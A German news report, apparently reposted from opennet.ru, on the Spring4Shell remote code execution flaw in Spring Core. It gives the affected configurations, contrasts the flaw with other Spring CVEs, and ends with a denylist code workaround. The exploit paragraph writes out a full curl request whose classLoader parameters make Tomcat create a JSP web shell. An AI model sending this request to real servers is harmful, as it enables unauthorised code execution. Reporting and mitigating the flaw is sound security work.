Im Spring Core-Modul, das Teil des Spring Frameworks ist, wurde eine kritische 0-Day-Sicherheitsanfälligkeit gefunden, die es einem nicht authentifizierten Remote-Angreifer ermöglicht, seinen Code auf dem Server auszuführen. Es ist noch unklar, wie katastrophal die Folgen dieses Problems sein könnten und ob die Angriffe ebenso massenhaft sein werden wie bei der Sicherheitsanfälligkeit in Log4j 2. Die Sicherheitsanfälligkeit trägt den Codenamen Spring4Shell, jedoch ist bisher keine CVE-ID zugewiesen worden. Im Spring Framework bleibt das Problem ungepatcht, und im Internet sind bereits mehrere funktionierende Prototypen von Exploits verfügbar (1, 2, 3, 4). Die Situation wird dadurch verschärft, dass viele Unternehmens-Java-Anwendungen, die auf dem Spring Framework basieren, mit Root-Rechten ausgeführt werden, wodurch die Sicherheitsanfälligkeit die gesamte Systemintegrität gefährden kann.
Schätzungen zufolge wird das Spring Core-Modul in 74 % der Java-Anwendungen verwendet. Das Risiko der Sicherheitsanfälligkeit wird dadurch gemindert, dass nur Anwendungen betroffen sind, die die Annotation "@RequestMapping" beim Anschließen von Anfragebehandlern und der Bindung von Webformularparametern im Format "name=value" (POJO, Plain Old Java Object) verwenden, anstelle von JSON/XML.
Welche spezifischen Java-Anwendungen und Frameworks von diesem Problem betroffen sind, ist noch unklar. Die Schwachstelle verhindert, dass die Felder „class“, „module“ und „classLoader“ auf die Blacklist gesetzt werden oder dass eine explizite Whitelist von erlaubten Feldern verwendet werden kann. Die Ausnutzung der Schwachstelle ist nur bei Verwendung von Java/JDK 9 oder neueren Versionen möglich. Das Problem ergibt sich aus der Möglichkeit, den Schutz vor der Schwachstelle CVE-2010-1622 zu umgehen, die im Spring Framework bereits 2010 behoben wurde und mit der Ausführung des classLoader-Handlers beim Parsen der Anfrageparameter verbunden ist.
Die Funktionsweise des Exploits besteht darin, eine Anfrage mit den Parametern „class.module.classLoader.resources.context.parent.pipeline.first.*“ zu senden. Die Verarbeitung dieser Anfrage führt zur Erstellung einer JSP-Datei im Hauptverzeichnis von Apache Tomcat und zur Einfügung des von einem Angreifer bereitgestellten Codes in diese Datei. Die erstellte Datei wird für direkte Anfragen zugänglich und kann als Web-Shell verwendet werden. Um ein verwundbares Anwendungssystem in der Apache Tomcat-Umgebung anzugreifen, reicht es aus, eine Anfrage mit bestimmten Parametern über das Tool curl zu senden. curl -v -d „class.module.classLoader.resources.context.parent.pipeline.first.pattern=code_zum_Einfügen_in_die_Datei&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=“ http://localhost:8080/springmvc5-helloworld-exmaple-0.0.1-SNAPSHOT/rapid7
Das betrachtete Problem in Spring Core sollte nicht mit den kürzlich aufgedeckten Schwachstellen CVE-2022-22963 und CVE-2022-22950 verwechselt werden. Das erste Problem betrifft das Spring Cloud-Paket und wurde in den Versionen 3.1.7 und 3.2.3 behoben. Das zweite Problem ist in Spring Expression vorhanden und wurde in Spring Framework 5.3.17 korrigiert. Es handelt sich um grundlegend unterschiedliche Schwachstellen. Zu der neuen Schwachstelle haben die Entwickler des Spring Framework noch keine Stellungnahme abgegeben und keinen Fix veröffentlicht.
Als vorübergehende Maßnahme zum Schutz wird empfohlen, im Code eine Blacklist für unerlaubte Anfrageparameter zu verwenden: import org.springframework.core.Ordered; import org.springframework.core.annotation.Order; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.InitBinder; @ControllerAdvice @Order(10000) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."}; dataBinder.setDisallowedFields(denylist); } }
Quelle: opennet.ru
